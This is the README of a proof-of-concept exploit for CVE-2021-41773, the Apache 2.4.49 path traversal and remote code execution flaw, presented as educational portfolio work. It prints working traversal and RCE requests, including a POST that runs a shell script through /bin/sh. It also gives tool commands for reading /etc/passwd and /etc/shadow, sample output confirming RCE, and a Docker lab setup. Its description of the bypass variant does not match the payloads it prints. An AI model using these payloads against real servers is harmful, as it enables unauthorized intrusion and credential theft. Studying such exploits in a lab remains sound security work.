
Prueba de concepto de CVE-2021-41773
For use only in controlled and own environments. Do not use against systems without authorization.
PoC developed to demonstrate and understand the vulnerability CVE-2021-41773, present in Apache HTTP Server 2.4.49.
The flaw resides in the ap_normalize_path() function, which did not properly validate URL-encoded characters. This allowed an attacker to escape the DocumentRoot using a sequence of encoded characters (%2e%2e%2f instead of ../), reading arbitrary files from the system.
When the mod_cgi module was enabled, the vulnerability escalated to RCE (Remote Code Execution), allowing commands to be executed directly on the server with the permissions of the Apache process.
The server must meet all these conditions to be vulnerable:
| Condition | Detail |
|---|
| Apache version | Exactly 2.4.49 |
| Access directive | Require all granted in the configuration |
| CGI module | mod_cgi enabled (only for RCE) |
Apache 2.4.49 filtered the classic ../ but not its URL-encoded version. The attacker constructs a path that the filter does not detect, but that the operating system interprets correctly:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f is the URL encoding of ../. Apache let it through, the OS resolved it, and the result was access to files outside the web directory.
With mod_cgi active, the path traversal is used to point to /bin/sh instead of a file. Apache treats it as a CGI script and executes it. The command travels in the POST body as a minimal shell script:
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
The command output arrives in the HTTP response.
The cleanest way to reproduce the vulnerability is with Docker:
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
Or with a manual Apache 2.4.49 image with the vulnerable configuration:
<Directory />
Require all granted
</Directory>
I will leave the configuration files that I used for the test.
Why 'urllib3' and not 'requests'?
requests automatically re-encodes the path characters before sending them.
That breaks the payload because the server receives %252e instead of %2e.
urllib3 allows sending the path without modifications.
Why .%2e/ and not %2e%2e/?
Apache filters %2e%2e/ in the mod_rewrite module.
The .%2e/ variant is semantically equivalent but passes the filter,
because path normalization occurs after validation.
mod_cgi module must be enabled for the RCE mode to work.
Without it, only path traversal is possible.python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <command>]
| Argument | Required | Description |
|---|---|---|
--target | Yes | Server base URL (e.g., http://localhost:8080) |
--mode | Yes | traversal to read files, rce to execute commands |
--cmd | No | Command to execute in rce mode (default: id) |
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos — Solo en entornos propios
=======================================================
[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...
Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...
[+] RCE confirmados
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 or higher.Require all denied as the default value.mod_cgi if not strictly necessary.⚠️ This repository is for educational purposes only.
The use of this exploit against systems without express authorization is illegal.
Tested exclusively in controlled local environments.
PoC developed for educational purposes for an offensive security portfolio.